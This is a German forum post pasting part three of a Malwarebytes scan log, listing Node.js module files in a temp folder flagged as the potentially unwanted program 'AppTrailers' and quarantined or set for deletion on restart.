PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match\LICENSE.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\example\map.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\test\map.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\README.markdown, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\minimatch.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules\wrappy\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules\wrappy\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules\wrappy\wrappy.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\once.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\path-is-absolute\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\path-is-absolute\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\path-is-absolute\readme.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\changelog.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\common.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\glob.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\sync.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\bin.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\rimraf.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\fstream.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\inherits\inherits.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\inherits\inherits_browser.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\inherits\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\inherits\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\00-setup-fixtures.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\cb-never-called-1.0.1.tgz, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\dir-normalization.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\dir-normalization.tar, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\error-on-broken.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\extract-move.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\extract.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\fixtures.tgz, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\header.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\pack-no-proprietary.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\pack.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\parse-discard.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\parse.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test\zz-cleanup.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\tar.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\lib\config.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\lib\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\lib\utils.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\async\lib\async.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\async\component.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\async\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\async\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\benchmark\bench.gnu, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\benchmark\bench.sh, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\benchmark\benchmark-native.c, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\benchmark\benchmark.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\benchmark\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\lib\sha1-browser.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\test\compare_v1.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\test\test.html, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\test\test.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\bower.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\component.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\LICENSE.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\uuid.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\v3.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\underscore\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\underscore\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\underscore\underscore-min.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\underscore\underscore-min.map, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\underscore\underscore.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\test\event.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\test\exception.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\test\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\test\item.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\test\middleware.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\test\mocha.opts, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\test\pageview.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\test\send.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\test\timing.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\test\transaction.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\test\_enqueue.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\AcceptableParams.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\HISTORY.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\storage\storage.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\storage\storageUtil.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\index.html, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\jquery.min.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\main.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\report.bin, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\settings.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\shallow.html, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\USERS\****\APPDATA\LOCAL\TEMP\NW9572_16434\PACKAGE.JSON, In Quarantäne, [2862], [371306],1.0.2075

Twix. 03.06.2017 00:26
mbam - Teil3:
Code:
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\close.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\expand.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\icon16.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\icon20.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\icon24.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\icon256.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\icon36.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\icon48.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\icon64.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\icontray.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\loader.gif, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\minimize.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\search.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\images\unexpand.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\examples\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\lib\cookies.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\lib\copy.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\lib\debug.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\lib\helpers.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\aws-sign2\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\aws-sign2\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\aws-sign2\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_duplex.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_passthrough.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_readable.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_transform.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_writable.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\lib\util.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\float.patch, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits\inherits.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits\inherits_browser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\build\build.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\component.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
